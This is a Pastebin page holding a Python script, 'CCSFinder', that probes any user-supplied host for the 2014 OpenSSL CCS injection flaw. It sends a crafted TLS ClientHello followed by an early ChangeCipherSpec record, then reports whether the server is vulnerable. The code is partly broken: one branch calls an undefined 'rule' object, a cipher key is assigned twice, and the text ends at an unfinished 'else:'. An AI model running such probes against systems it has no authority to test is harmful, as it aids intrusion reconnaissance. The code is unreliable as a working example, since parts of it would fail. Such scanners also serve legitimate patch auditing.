API tools faq
paste
stoker

CCSFinder

stoker
Jun 16th, 2014
246
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.72 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2.  
  3. import os,sys,socket,struct,time
  4.  
  5. def Banner():
  6.     print '''
  7.   ___   ___  __     ___ _           _          
  8.  / __\ / __\/ _\  / __(_)_ __   __| | ___ _ __
  9. / /   / /   \ \  / _\ | | '_ \ / _` |/ _ \ '__|
  10. / /___/ /___ _\ \ / /   | | | | | (_| |  __/ |  
  11. \____/\____/ \__/ \/    |_|_| |_|\__,_|\___|_|  
  12.                                                
  13.     Author: Muhammad Adeel aka Stoker
  14.     Mail:   [email protected]
  15.     Blog:   UrduSecurity.blogspot.com\n\n'''
  16.  
  17. Banner()
  18.  
  19. Host = raw_input('Enter Target Host: ')
  20. Port = input('Enter Target Port [443] : ')
  21.  
  22. Var1 = {
  23.     "SSL (v3)"   : "\x03\x00",
  24.     "TLS (v1)"   : "\x03\x01",
  25.     "TLS (v1.1)" : "\x03\x02",
  26.     "TLS (v1.2)" : "\x03\x03",
  27. }
  28.  
  29. Cipher_List = dict()
  30. Cipher_List['\x00\x1a'] = "TLS_DH_anon_WITH_DES_CBC_SHA"
  31. Cipher_List['\x00\x1b'] = "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA"
  32. Cipher_List['\x00\x1c'] = "SSL_FORTEZZA_KEA_WITH_NULL_SHA"
  33. Cipher_List['\x00\x1d'] = "SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"
  34. Cipher_List['\x00\x1e'] = "SSL_FORTEZZA_KEA_WITH_RC4_128_SHA"
  35. Cipher_List['\x00\x1E'] = "TLS_KRB5_WITH_DES_CBC_SHA"
  36. Cipher_List['\x00\x1F'] = "TLS_KRB5_WITH_3DES_EDE_CBC_SHA"
  37. Cipher_List['\x00\x20'] = "TLS_KRB5_WITH_RC4_128_SHA"
  38. Cipher_List['\x00\x21'] = "TLS_KRB5_WITH_IDEA_CBC_SHA"
  39. Cipher_List['\x00\x22'] = "TLS_KRB5_WITH_DES_CBC_MD5"
  40. Cipher_List['\x00\x23'] = "TLS_KRB5_WITH_3DES_EDE_CBC_MD5"
  41. Cipher_List['\x00\x24'] = "TLS_KRB5_WITH_RC4_128_MD5"
  42. Cipher_List['\x00\x25'] = "TLS_KRB5_WITH_IDEA_CBC_MD5"
  43. Cipher_List['\x00\x26'] = "TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA"
  44. Cipher_List['\x00\x27'] = "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA"
  45. Cipher_List['\x00\x28'] = "TLS_KRB5_EXPORT_WITH_RC4_40_SHA"
  46. Cipher_List['\x00\x29'] = "TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5"
  47. Cipher_List['\x00\x2A'] = "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5"
  48. Cipher_List['\x00\x2B'] = "TLS_KRB5_EXPORT_WITH_RC4_40_MD5"
  49. Cipher_List['\x00\x2C'] = "TLS_PSK_WITH_NULL_SHA"
  50. Cipher_List['\x00\x2D'] = "TLS_DHE_PSK_WITH_NULL_SHA"
  51. Cipher_List['\x00\x2E'] = "TLS_RSA_PSK_WITH_NULL_SHA"
  52. Cipher_List['\x00\x2F'] = "TLS_RSA_WITH_AES_128_CBC_SHA"
  53. Cipher_List['\x00\x30'] = "TLS_DH_DSS_WITH_AES_128_CBC_SHA"
  54. Cipher_List['\x00\x31'] = "TLS_DH_RSA_WITH_AES_128_CBC_SHA"
  55. Cipher_List['\x00\x32'] = "TLS_DHE_DSS_WITH_AES_128_CBC_SHA"
  56. Cipher_List['\x00\x33'] = "TLS_DHE_RSA_WITH_AES_128_CBC_SHA"
  57. Cipher_List['\x00\x34'] = "TLS_DH_anon_WITH_AES_128_CBC_SHA"
  58. Cipher_List['\x00\x35'] = "TLS_RSA_WITH_AES_256_CBC_SHA"
  59. Cipher_List['\x00\x36'] = "TLS_DH_DSS_WITH_AES_256_CBC_SHA"
  60. Cipher_List['\x00\x37'] = "TLS_DH_RSA_WITH_AES_256_CBC_SHA"
  61. Cipher_List['\x00\x38'] = "TLS_DHE_DSS_WITH_AES_256_CBC_SHA"
  62. Cipher_List['\x00\x39'] = "TLS_DHE_RSA_WITH_AES_256_CBC_SHA"
  63. Cipher_List['\x00\x3A'] = "TLS_DH_anon_WITH_AES_256_CBC_SHA"
  64. Cipher_List['\x00\x3B'] = "TLS_RSA_WITH_NULL_SHA256"
  65. Cipher_List['\x00\x3C'] = "TLS_RSA_WITH_AES_128_CBC_SHA256"
  66. Cipher_List['\x00\x3D'] = "TLS_RSA_WITH_AES_256_CBC_SHA256"
  67. Cipher_List['\x00\x3E'] = "TLS_DH_DSS_WITH_AES_128_CBC_SHA256"
  68. Cipher_List['\x00\x3F'] = "TLS_DH_RSA_WITH_AES_128_CBC_SHA256"
  69. Cipher_List['\x00\x40'] = "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256"
  70. Cipher_List['\x00\x41'] = "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA"
  71. Cipher_List['\x00\x42'] = "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA"
  72. Cipher_List['\x00\x43'] = "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA"
  73. Cipher_List['\x00\x44'] = "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"
  74. Cipher_List['\x00\x45'] = "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"
  75. Cipher_List['\x00\x46'] = "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA"
  76. Cipher_List['\x00\x60'] = "TLS_RSA_EXPORT1024_WITH_RC4_56_MD5"
  77. Cipher_List['\x00\x61'] = "TLS_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5"
  78. Cipher_List['\x00\x62'] = "TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA"
  79. Cipher_List['\x00\x63'] = "TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA"
  80. Cipher_List['\x00\x64'] = "TLS_RSA_EXPORT1024_WITH_RC4_56_SHA"
  81. Cipher_List['\x00\x65'] = "TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA"
  82. Cipher_List['\x00\x66'] = "TLS_DHE_DSS_WITH_RC4_128_SHA"
  83. Cipher_List['\x00\x67'] = "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256"
  84. Cipher_List['\x00\x68'] = "TLS_DH_DSS_WITH_AES_256_CBC_SHA256"
  85. Cipher_List['\x00\x69'] = "TLS_DH_RSA_WITH_AES_256_CBC_SHA256"
  86. Cipher_List['\x00\x6A'] = "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256"
  87. Cipher_List['\x00\x6B'] = "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256"
  88. Cipher_List['\x00\x6C'] = "TLS_DH_anon_WITH_AES_128_CBC_SHA256"
  89. Cipher_List['\x00\x6D'] = "TLS_DH_anon_WITH_AES_256_CBC_SHA256"
  90. Cipher_List['\x00\x80'] = "TLS_GOSTR341094_WITH_28147_CNT_IMIT"
  91. Cipher_List['\x00\x81'] = "TLS_GOSTR341001_WITH_28147_CNT_IMIT"
  92. Cipher_List['\x00\x82'] = "TLS_GOSTR341094_WITH_NULL_GOSTR3411"
  93. Cipher_List['\x00\x83'] = "TLS_GOSTR341001_WITH_NULL_GOSTR3411"
  94. Cipher_List['\x00\x84'] = "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA"
  95. Cipher_List['\x00\x85'] = "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA"
  96. Cipher_List['\x00\x86'] = "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA"
  97. Cipher_List['\x00\x87'] = "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"
  98. Cipher_List['\x00\x88'] = "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"
  99. Cipher_List['\x00\x89'] = "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA"
  100. Cipher_List['\x00\x8A'] = "TLS_PSK_WITH_RC4_128_SHA"
  101. Cipher_List['\x00\x8B'] = "TLS_PSK_WITH_3DES_EDE_CBC_SHA"
  102. Cipher_List['\x00\x8C'] = "TLS_PSK_WITH_AES_128_CBC_SHA"
  103. Cipher_List['\x00\x8D'] = "TLS_PSK_WITH_AES_256_CBC_SHA"
  104. Cipher_List['\x00\x8E'] = "TLS_DHE_PSK_WITH_RC4_128_SHA"
  105. Cipher_List['\x00\x8F'] = "TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"
  106. Cipher_List['\x00\x90'] = "TLS_DHE_PSK_WITH_AES_128_CBC_SHA"
  107. Cipher_List['\x00\x91'] = "TLS_DHE_PSK_WITH_AES_256_CBC_SHA"
  108. Cipher_List['\x00\x92'] = "TLS_RSA_PSK_WITH_RC4_128_SHA"
  109. Cipher_List['\x00\x93'] = "TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"
  110. Cipher_List['\x00\x94'] = "TLS_RSA_PSK_WITH_AES_128_CBC_SHA"
  111. Cipher_List['\x00\x95'] = "TLS_RSA_PSK_WITH_AES_256_CBC_SHA"
  112. Cipher_List['\x00\x96'] = "TLS_RSA_WITH_SEED_CBC_SHA"
  113. Cipher_List['\x00\x97'] = "TLS_DH_DSS_WITH_SEED_CBC_SHA"
  114. Cipher_List['\x00\x98'] = "TLS_DH_RSA_WITH_SEED_CBC_SHA"
  115. Cipher_List['\x00\x99'] = "TLS_DHE_DSS_WITH_SEED_CBC_SHA"
  116. Cipher_List['\x00\x9A'] = "TLS_DHE_RSA_WITH_SEED_CBC_SHA"
  117. Cipher_List['\x00\x9B'] = "TLS_DH_anon_WITH_SEED_CBC_SHA"
  118. Cipher_List['\x00\x9C'] = "TLS_RSA_WITH_AES_128_GCM_SHA256"
  119. Cipher_List['\x00\x9D'] = "TLS_RSA_WITH_AES_256_GCM_SHA384"
  120. Cipher_List['\x00\x9E'] = "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"
  121. Cipher_List['\x00\x9F'] = "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"
  122. Cipher_List['\x00\xA0'] = "TLS_DH_RSA_WITH_AES_128_GCM_SHA256"
  123. Cipher_List['\x00\xA1'] = "TLS_DH_RSA_WITH_AES_256_GCM_SHA384"
  124. Cipher_List['\x00\xA2'] = "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"
  125. Cipher_List['\x00\xA3'] = "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"
  126. Cipher_List['\x00\xA4'] = "TLS_DH_DSS_WITH_AES_128_GCM_SHA256"
  127. Cipher_List['\x00\xA5'] = "TLS_DH_DSS_WITH_AES_256_GCM_SHA384"
  128. Cipher_List['\x00\xA6'] = "TLS_DH_anon_WITH_AES_128_GCM_SHA256"
  129. Cipher_List['\x00\xA7'] = "TLS_DH_anon_WITH_AES_256_GCM_SHA384"
  130. Cipher_List['\x00\xA8'] = "TLS_PSK_WITH_AES_128_GCM_SHA256"
  131. Cipher_List['\x00\xA9'] = "TLS_PSK_WITH_AES_256_GCM_SHA384"
  132. Cipher_List['\x00\xAA'] = "TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"
  133. Cipher_List['\x00\xAB'] = "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"
  134. Cipher_List['\x00\xAC'] = "TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"
  135. Cipher_List['\x00\xAD'] = "TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"
  136. Cipher_List['\x00\xAE'] = "TLS_PSK_WITH_AES_128_CBC_SHA256"
  137. Cipher_List['\x00\xAF'] = "TLS_PSK_WITH_AES_256_CBC_SHA384"
  138. Cipher_List['\x00\xB0'] = "TLS_PSK_WITH_NULL_SHA256"
  139. Cipher_List['\x00\xB1'] = "TLS_PSK_WITH_NULL_SHA384"
  140. Cipher_List['\x00\xB2'] = "TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"
  141. Cipher_List['\x00\xB3'] = "TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"
  142. Cipher_List['\x00\xB4'] = "TLS_DHE_PSK_WITH_NULL_SHA256"
  143. Cipher_List['\x00\xB5'] = "TLS_DHE_PSK_WITH_NULL_SHA384"
  144. Cipher_List['\x00\xB6'] = "TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"
  145. Cipher_List['\x00\xB7'] = "TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"
  146. Cipher_List['\x00\xB8'] = "TLS_RSA_PSK_WITH_NULL_SHA256"
  147. Cipher_List['\x00\xB9'] = "TLS_RSA_PSK_WITH_NULL_SHA384"
  148. Cipher_List['\x00\xBA'] = "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"
  149. Cipher_List['\x00\xBB'] = "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"
  150. Cipher_List['\x00\xBC'] = "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"
  151. Cipher_List['\x00\xBD'] = "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"
  152. Cipher_List['\x00\xBE'] = "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"
  153. Cipher_List['\x00\xBF'] = "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"
  154. Cipher_List['\x00\xC0'] = "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"
  155. Cipher_List['\x00\xC1'] = "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"
  156. Cipher_List['\x00\xC2'] = "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"
  157. Cipher_List['\x00\xC3'] = "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"
  158. Cipher_List['\x00\xC4'] = "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"
  159. Cipher_List['\x00\xC5'] = "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"
  160. Cipher_List['\x00\x00'] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV"
  161. Cipher_List['\xc0\x01'] = "TLS_ECDH_ECDSA_WITH_NULL_SHA"
  162. Cipher_List['\xc0\x02'] = "TLS_ECDH_ECDSA_WITH_RC4_128_SHA"
  163. Cipher_List['\xc0\x03'] = "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"
  164. Cipher_List['\xc0\x04'] = "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"
  165. Cipher_List['\xc0\x05'] = "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"
  166. Cipher_List['\xc0\x06'] = "TLS_ECDHE_ECDSA_WITH_NULL_SHA"
  167. Cipher_List['\xc0\x07'] = "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"
  168. Cipher_List['\xc0\x08'] = "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"
  169. Cipher_List['\xc0\x09'] = "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"
  170. Cipher_List['\xc0\x0a'] = "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"
  171. Cipher_List['\xc0\x0b'] = "TLS_ECDH_RSA_WITH_NULL_SHA"
  172. Cipher_List['\xc0\x0c'] = "TLS_ECDH_RSA_WITH_RC4_128_SHA"
  173. Cipher_List['\xc0\x0d'] = "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"
  174. Cipher_List['\xc0\x0e'] = "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"
  175. Cipher_List['\xc0\x0f'] = "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"
  176. Cipher_List['\xc0\x10'] = "TLS_ECDHE_RSA_WITH_NULL_SHA"
  177. Cipher_List['\xc0\x11'] = "TLS_ECDHE_RSA_WITH_RC4_128_SHA"
  178. Cipher_List['\xc0\x12'] = "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"
  179. Cipher_List['\xc0\x13'] = "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"
  180. Cipher_List['\xc0\x14'] = "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"
  181. Cipher_List['\xc0\x15'] = "TLS_ECDH_anon_WITH_NULL_SHA"
  182. Cipher_List['\xc0\x16'] = "TLS_ECDH_anon_WITH_RC4_128_SHA"
  183. Cipher_List['\xc0\x17'] = "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"
  184. Cipher_List['\xc0\x18'] = "TLS_ECDH_anon_WITH_AES_128_CBC_SHA"
  185. Cipher_List['\xc0\x19'] = "TLS_ECDH_anon_WITH_AES_256_CBC_SHA"
  186. Cipher_List['\xC0\x1A'] = "TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"
  187. Cipher_List['\xC0\x1B'] = "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"
  188. Cipher_List['\xC0\x1C'] = "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"
  189. Cipher_List['\xC0\x1D'] = "TLS_SRP_SHA_WITH_AES_128_CBC_SHA"
  190. Cipher_List['\xC0\x1E'] = "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"
  191. Cipher_List['\xC0\x1F'] = "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"
  192. Cipher_List['\xC0\x20'] = "TLS_SRP_SHA_WITH_AES_256_CBC_SHA"
  193. Cipher_List['\xC0\x21'] = "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"
  194. Cipher_List['\xC0\x22'] = "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"
  195. Cipher_List['\xC0\x23'] = "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"
  196. Cipher_List['\xC0\x24'] = "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"
  197. Cipher_List['\xC0\x25'] = "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"
  198. Cipher_List['\xC0\x26'] = "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"
  199. Cipher_List['\xC0\x27'] = "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"
  200. Cipher_List['\xC0\x28'] = "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"
  201. Cipher_List['\xC0\x29'] = "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"
  202. Cipher_List['\xC0\x2A'] = "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"
  203. Cipher_List['\xC0\x2B'] = "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"
  204. Cipher_List['\xC0\x2C'] = "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"
  205. Cipher_List['\xC0\x2D'] = "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"
  206. Cipher_List['\xC0\x2E'] = "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"
  207. Cipher_List['\xC0\x2F'] = "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"
  208. Cipher_List['\xC0\x30'] = "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"
  209. Cipher_List['\xC0\x31'] = "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"
  210. Cipher_List['\xC0\x32'] = "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"
  211. Cipher_List['\xC0\x33'] = "TLS_ECDHE_PSK_WITH_RC4_128_SHA"
  212. Cipher_List['\xC0\x34'] = "TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"
  213. Cipher_List['\xC0\x35'] = "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"
  214. Cipher_List['\xC0\x36'] = "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"
  215. Cipher_List['\xC0\x37'] = "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"
  216. Cipher_List['\xC0\x38'] = "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"
  217. Cipher_List['\xC0\x39'] = "TLS_ECDHE_PSK_WITH_NULL_SHA"
  218. Cipher_List['\xC0\x3A'] = "TLS_ECDHE_PSK_WITH_NULL_SHA256"
  219. Cipher_List['\xC0\x3B'] = "TLS_ECDHE_PSK_WITH_NULL_SHA384"
  220. Cipher_List['\xfe\xfe'] = "SSL_RSA_FIPS_WITH_DES_CBC_SHA"
  221. Cipher_List['\xfe\xff'] = "SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"
  222. Cipher_List['\xff\xe0'] = "SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"
  223. Cipher_List['\xff\xe1'] = "SSL_RSA_FIPS_WITH_DES_CBC_SHA"
  224. Cipher_List['\x00\x00'] = "TLS_NULL_WITH_NULL_NULL"
  225. Cipher_List['\x00\x01'] = "TLS_RSA_WITH_NULL_MD5"
  226. Cipher_List['\x00\x02'] = "TLS_RSA_WITH_NULL_SHA"
  227. Cipher_List['\x00\x03'] = "TLS_RSA_EXPORT_WITH_RC4_40_MD5"
  228. Cipher_List['\x00\x04'] = "TLS_RSA_WITH_RC4_128_MD5"
  229. Cipher_List['\x00\x05'] = "TLS_RSA_WITH_RC4_128_SHA"
  230. Cipher_List['\x00\x06'] = "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5"
  231. Cipher_List['\x00\x07'] = "TLS_RSA_WITH_IDEA_CBC_SHA"
  232. Cipher_List['\x00\x08'] = "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA"
  233. Cipher_List['\x00\x09'] = "TLS_RSA_WITH_DES_CBC_SHA"
  234. Cipher_List['\x00\x0a'] = "TLS_RSA_WITH_3DES_EDE_CBC_SHA"
  235. Cipher_List['\x00\x0b'] = "TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA"
  236. Cipher_List['\x00\x0c'] = "TLS_DH_DSS_WITH_DES_CBC_SHA"
  237. Cipher_List['\x00\x0d'] = "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA"
  238. Cipher_List['\x00\x0e'] = "TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA"
  239. Cipher_List['\x00\x0f'] = "TLS_DH_RSA_WITH_DES_CBC_SHA"
  240. Cipher_List['\x00\x10'] = "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA"
  241. Cipher_List['\x00\x11'] = "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"
  242. Cipher_List['\x00\x12'] = "TLS_DHE_DSS_WITH_DES_CBC_SHA"
  243. Cipher_List['\x00\x13'] = "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA"
  244. Cipher_List['\x00\x14'] = "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"
  245. Cipher_List['\x00\x15'] = "TLS_DHE_RSA_WITH_DES_CBC_SHA"
  246. Cipher_List['\x00\x16'] = "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA"
  247. Cipher_List['\x00\x17'] = "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5"
  248. Cipher_List['\x00\x18'] = "TLS_DH_anon_WITH_RC4_128_MD5"
  249. Cipher_List['\x00\x19'] = "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA"
  250.  
  251. def Previous_Record(strBuf):
  252.     Found_Records = []
  253.     if len(strBuf)>=9:
  254.         sslStatus = struct.unpack('>BHHI', strBuf[0:9])
  255.         SSL_Yype = (sslStatus[3] & (0xFF000000))>>24
  256.         Check_Length  = sslStatus[3] & (0x00FFFFFF)
  257.         Check_Protocol = sslStatus[0]
  258.         SSL_Length = sslStatus[2]
  259.         if (Check_Length + 5 < SSL_Length):
  260.             Found_Records.append((Check_Protocol,SSL_Yype))
  261.             Stop_Loop = 0
  262.             OffSet_Value = Check_Length + 9
  263.             while OffSet_Value < len(strBuf):
  264.                 Stop_Loop += 1
  265.                 CSS_Count = 0
  266.                 while ((OffSet_Value+4) > len(strBuf) and CSS_Count < 5):
  267.                     CSS_Count += 1
  268.                     rule.waitForData()
  269.                     if len(rule.buffer) > 0:
  270.                         strBuf += rule.buffer
  271.                 if ((OffSet_Value+4) > len(strBuf)):
  272.                     break
  273.                 SSL_YypeAndLen = struct.unpack(">I",strBuf[OffSet_Value:OffSet_Value+4])[0]
  274.                 Check_Length = SSL_YypeAndLen & (0x00FFFFFF)
  275.                 SSL_Yype = (SSL_YypeAndLen & (0xFF000000))>>24
  276.                 Found_Records.append((Check_Protocol,SSL_Yype))
  277.                 OffSet_Value += (Check_Length + 4)
  278.                 if Stop_Loop > 8:
  279.                     break
  280.             return Found_Records
  281.         elif (Check_Length + 9 < len(strBuf)):
  282.             #log(2,"Multiple Records")
  283.             Found_Records.append((Check_Protocol,SSL_Yype))
  284.             OffSet_Value = Check_Length + 9
  285.             Stop_Loop = 0
  286.             while OffSet_Value+6 < len(strBuf):
  287.                 Stop_Loop += 1
  288.                 Check_Protocol = struct.unpack(">B",strBuf[OffSet_Value])[0]
  289.                 Check_Length = struct.unpack(">H",strBuf[OffSet_Value+3:OffSet_Value+5])[0]
  290.                 SSL_Yype = struct.unpack(">B",strBuf[OffSet_Value+5])[0]
  291.                 Found_Records.append((Check_Protocol,SSL_Yype))
  292.                 OffSet_Value += Check_Length + 5
  293.                 if Stop_Loop > 8:
  294.                     break
  295.             return Found_Records
  296.         elif (Check_Length + 9 == len(strBuf)):
  297.             sslStatus = Header_SSL(strBuf)
  298.             Found_Records.append((sslStatus[0],sslStatus[2]))
  299.             return Found_Records
  300.     return None        
  301.    
  302. def Header_SSL(strBuf):
  303.     if len(strBuf)>=6:
  304.         sslStatus = struct.unpack('>BHHI', strBuf[0:9])
  305.         SSL_Yype = (sslStatus[3] & (0xFF000000))>>24
  306.         Check_Length  = sslStatus[3] & (0x00FFFFFF)
  307.         Check_Protocol = sslStatus[0]
  308.         SSL_Length = sslStatus[2]        
  309.         return (Check_Protocol,SSL_Length,SSL_Yype,Check_Length)
  310.     return None
  311.  
  312. def Payload_Generation(SSL_Version_Values):
  313.     r = "\x16"
  314.     r += Var1[SSL_Version_Values]
  315.     Ciph3rss = ""
  316.     for c in Cipher_List.keys():
  317.         Ciph3rss += c
  318.     dLen = 43 + len(Ciph3rss)
  319.     r += struct.pack("!H",dLen)
  320.     h = "\x01"
  321.     strPlen = struct.pack("!L",dLen-4)
  322.     h+=strPlen[1:]
  323.     h+= Var1[SSL_Version_Values]
  324.     Rand0m = struct.pack("!L", int(time.time()))
  325.     Rand0m += "\x36\x24\x34\x16\x27\x09\x22\x07\xd7\xbe\xef\x69\xa1\xb2"
  326.     Rand0m += "\x37\x23\x14\x96\x27\xa9\x12\x04\xe7\xce\xff\xd9\xae\xbb"
  327.     h+=Rand0m
  328.     h+= "\x00" # No Session ID
  329.     h+=struct.pack("!H",len(Ciph3rss))
  330.     h+=Ciph3rss
  331.     h+= "\x01\x00"
  332.     return r+h
  333.  
  334. CCS_Vulnerabilitied = 0
  335. for SSL_Version_Check in ["TLS (v1.2)","TLS (v1.1)","TLS (v1)","SSL (v3)"]:
  336.     Hell0_Text = Payload_Generation(SSL_Version_Check)
  337.     Handshake_Log = "[%s] %s:%d" % (SSL_Version_Check,Host,Port)
  338.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  339.     try:
  340.         s.connect((Host,Port))
  341.         s.settimeout(5)
  342.     except:
  343.         print "[!] %s:%d Host is Down." % (Host,Port)
  344.         quit()
  345.     s.send(Hell0_Text)
  346.     CSS_Count = 0
  347.     Hello_World = False
  348.     Certificate = False
  349.     fKex = False
  350.     fHelloDone = False
  351.     while CSS_Count<5:
  352.         CSS_Count += 1
  353.         try:
  354.             recv = s.recv(2048)
  355.         except:
  356.             continue
  357.         Found_Records = Previous_Record(recv)
  358.         if Found_Records != None and len(Found_Records) > 0:
  359.             for (Check_Protocol,SSL_Yype) in Found_Records:
  360.                 if Check_Protocol == 22:
  361.                     if SSL_Yype == 2:
  362.                         Hello_World = True
  363.                     elif SSL_Yype == 11:
  364.                         Certificate = True
  365.                     elif SSL_Yype == 12:
  366.                         fKex = True
  367.                     elif SSL_Yype == 14:
  368.                         fHelloDone = True
  369.             if (Hello_World and Certificate):
  370.                 break
  371.         else:
  372.             continue
  373.     if not (Hello_World and Certificate):
  374.         print "[!] %s Handshake Error!" % (Handshake_Log)
  375.     elif len(recv)>0:
  376.         if ord(recv[0])==22:
  377.             CSS_Count = 0
  378.             CCS_StRing = "\x14"
  379.             CCS_StRing += Var1[SSL_Version_Check]
  380.             CCS_StRing += "\x00\x01"
  381.             CCS_StRing += "\x01"
  382.             s.send(CCS_StRing)
  383.             Vulner = True
  384.             Last_Text = ""
  385.             while CSS_Count < 5:
  386.                 CSS_Count += 1
  387.                 s.settimeout(0.5)
  388.                 try:
  389.                     recv = s.recv(2048)
  390.                 except socket.timeout:
  391.                     continue
  392.                 if (len(recv)>0):
  393.                     Last_Text = recv
  394.                     if (ord(recv[0])==21):
  395.                         Vulner = False
  396.                         break
  397.             try:
  398.                 if ord(Last_Text[-7]) == 21:
  399.                     Vulner=False
  400.             except IndexError:
  401.                 pass
  402.             if Vulner:
  403.                 print "[!] Version [%s]\n=> %s:%d Is Vulnerable to CCS Injection! " % (SSL_Version_Check,Host,Port)
  404.                 CCS_Vulnerabilitied += 1
  405.             else:
  406.                 print "[!] Version [%s]\n=> %s:%d Not Accepting Payload." % (SSL_Version_Check,Host,Port)
  407.     else:
